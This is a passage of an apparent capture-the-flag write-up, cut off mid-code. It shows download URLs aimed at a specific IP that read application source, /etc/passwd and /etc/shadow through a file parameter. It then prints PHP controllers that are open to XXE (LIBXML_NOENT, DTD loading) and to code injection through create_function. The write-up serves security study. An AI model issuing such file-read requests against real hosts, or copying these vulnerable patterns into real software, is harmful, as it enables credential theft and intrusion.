&lt;p&gt;Here are some other Interesting files I downloaded based on what we learned from the index.php file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;68.183.31.62:94&#x2F;download?file=&#x2F;app&#x2F;Controllers&#x2F;Custom.php&amp;amp;hash=55fdef99c788af643d2676ac21ada5f4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;68.183.31.62:94&#x2F;download?file=&#x2F;app&#x2F;Controllers&#x2F;Admin.php&amp;amp;hash=42c58ba0a247b5c76bce27387e90b99f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;68.183.31.62:94&#x2F;download?file=&#x2F;etc&#x2F;passwd&amp;amp;hash=c5068b7c2b1707f8939b283a2758a691&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;68.183.31.62:94&#x2F;download?file=&#x2F;etc&#x2F;shadow&amp;amp;hash=2fe8599cb25a0c790213d39b3be97c27&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;68.183.31.62:94&#x2F;download?file=&#x2F;app&#x2F;Routes.php&amp;amp;hash=b1146e09263e0aae856ff66a57968211&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;class&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Custom&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; extends&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Controller&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  public&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; static&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Test&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;$string&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      $root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; simplexml_load_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$string&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;SimpleXMLElement&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;LIBXML_NOENT&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      $test&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; $root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;name&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      echo&lt;&#x2F;span&gt;&lt;span&gt; $test&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The Test method receives a string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;class&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Admin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; extends&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Controller&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  public&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; static&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; sort&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;$url&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;$order&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $uri&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; parse_url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$url&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $file&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; file_get_contents&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$url&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $dom&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; DOMDocument&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $dom&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;loadXML&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$file&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;LIBXML_NOENT&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; LIBXML_DTDLOAD&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; simplexml_import_dom&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$dom&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$xml&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;     &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;echo count($xml-&amp;gt;channel-&amp;gt;item);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;     &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;var_dump($xml-&amp;gt;channel-&amp;gt;item-&amp;gt;link);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;     for&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt;$i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;count&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;channel&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;item&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt;$i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;       &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;echo $uri[&amp;#39;scheme&amp;#39;].$uri[&amp;#39;host&amp;#39;].$xml-&amp;gt;channel-&amp;gt;item[$i]-&amp;gt;link.&amp;quot;\n&amp;quot;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       $data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$i&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt;$uri&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;scheme&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;:&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$uri&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;channel&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;item&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span&gt;$i&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;link&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;       &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;$data[$i] = $uri[&amp;#39;scheme&amp;#39;].$uri[&amp;#39;host&amp;#39;].$xml-&amp;gt;channel-&amp;gt;item[$i]-&amp;gt;link;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;     &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;var_dump($data);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;     usort&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$data&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; create_function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$a, $b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;return strcmp($a-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$order&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;,$b-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$order&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;);&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;div class=&amp;quot;ui list&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;     foreach&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; $dt&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       $html&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;div class=&amp;quot;item&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$dt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;id&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; - &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;lt;a href=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$dt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;link&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$dt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;link&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;&#x2F;a&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;&#x2F;div&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
